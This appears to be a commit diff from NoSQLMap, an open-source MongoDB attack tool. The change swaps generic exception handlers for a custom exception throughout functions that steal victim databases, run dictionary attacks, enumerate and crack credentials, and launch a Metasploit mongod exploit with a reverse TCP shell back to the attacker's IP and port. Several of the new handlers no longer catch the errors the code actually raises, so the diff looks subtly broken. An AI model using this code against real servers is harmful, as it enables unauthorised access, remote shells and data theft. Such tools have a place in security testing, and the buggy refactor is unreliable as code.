22# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
33# See the file 'doc/COPYING' for copying permission
44
5+ from exception import NoSQLMapException
56import pymongo
67import urllib
78import json
@@ -49,7 +50,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None):
4950 conn = pymongo .MongoClient (target )
5051 print "MongoDB authenticated on " + target + ":27017!"
5152 mgtOpen = True
52- except :
53+ except NoSQLMapException :
5354 raw_input ("Failed to authenticate. Press enter to continue..." )
5455 return
5556
@@ -91,7 +92,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None):
9192 print "REST interface not enabled."
9293 print "\n "
9394
94- except Exception , e :
95+ except NoSQLMapException :
9596 print "MongoDB web management closed or requires authentication."
9697
9798 if mgtOpen == True :
@@ -180,7 +181,7 @@ def stealDBs(myDB,victim,mongoConn):
180181 else :
181182 return
182183
183- except Exception , e :
184+ except NoSQLMapException , e :
184185 if str (e ).find ('text search not enabled' ) != - 1 :
185186 raw_input ("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return..." )
186187 return
@@ -231,7 +232,7 @@ def dict_pass(user,key):
231232 with open (dictionary ) as f :
232233 passList = f .readlines ()
233234 loadCheck = True
234- except :
235+ except NoSQLMapException :
235236 print " Couldn't load file."
236237
237238 print "Running dictionary attack..."
@@ -303,7 +304,7 @@ def enumDbs (mongoConn):
303304 print "\n " .join (mongoConn .database_names ())
304305 print "\n "
305306
306- except :
307+ except NoSQLMapException :
307308 print "Error: Couldn't list databases. The provided credentials may not have rights."
308309
309310 print "List of collections:"
@@ -328,19 +329,19 @@ def enumDbs (mongoConn):
328329 if crack in yes_tag :
329330 passCrack (users [x ]['user' ],users [x ]['pwd' ])
330331
331- except Exception , e :
332+ except NoSQLMapException , e :
332333 print e
333334 print "Error: Couldn't list collections. The provided credentials may not have rights."
334335
335336 print "\n "
336337 return
337338
338339
339- def msfLaunch ():
340+ def msfLaunch (victim , myIP , myPort ):
340341 try :
341342 proc = subprocess .call (["msfcli" , "exploit/linux/misc/mongod_native_helper" , "RHOST=%s" % victim , "DB=local" , "PAYLOAD=linux/x86/shell/reverse_tcp" , "LHOST=%s" % myIP , "LPORT=%s" % myPort , "E" ])
342343
343- except :
344+ except NoSQLMapException :
344345 print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
345346 raw_input ("Press enter to continue..." )
346347 return
@@ -357,10 +358,10 @@ def enumGrid (mongoConn):
357358 print " list of files:"
358359 print "\n " .join (files )
359360
360- except :
361+ except NoSQLMapException :
361362 print "GridFS not enabled on " + str (dbItem ) + "."
362363
363- except :
364+ except NoSQLMapException :
364365 print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights."
365366
366367 return
@@ -381,7 +382,7 @@ def mongoScan(ip,port,pingIt):
381382 conn .close ()
382383 return [0 ,dbVer ]
383384
384- except :
385+ except NoSQLMapException :
385386 if str (sys .exc_info ()).find ('need to login' ) != - 1 :
386387 conn .close ()
387388 return [1 ,None ]
@@ -390,7 +391,7 @@ def mongoScan(ip,port,pingIt):
390391 conn .close ()
391392 return [2 ,None ]
392393
393- except :
394+ except NoSQLMapException :
394395 return [3 ,None ]
395396
396397 else :
@@ -405,7 +406,7 @@ def mongoScan(ip,port,pingIt):
405406 conn .close ()
406407 return [0 ,dbVer ]
407408
408- except Exception , e :
409+ except NoSQLMapException , e :
409410 if str (e ).find ('need to login' ) != - 1 :
410411 conn .close ()
411412 return [1 ,None ]
@@ -414,5 +415,5 @@ def mongoScan(ip,port,pingIt):
414415 conn .close ()
415416 return [2 ,None ]
416417
417- except :
418+ except NoSQLMapException :
418419 return [3 ,None ]
0 commit comments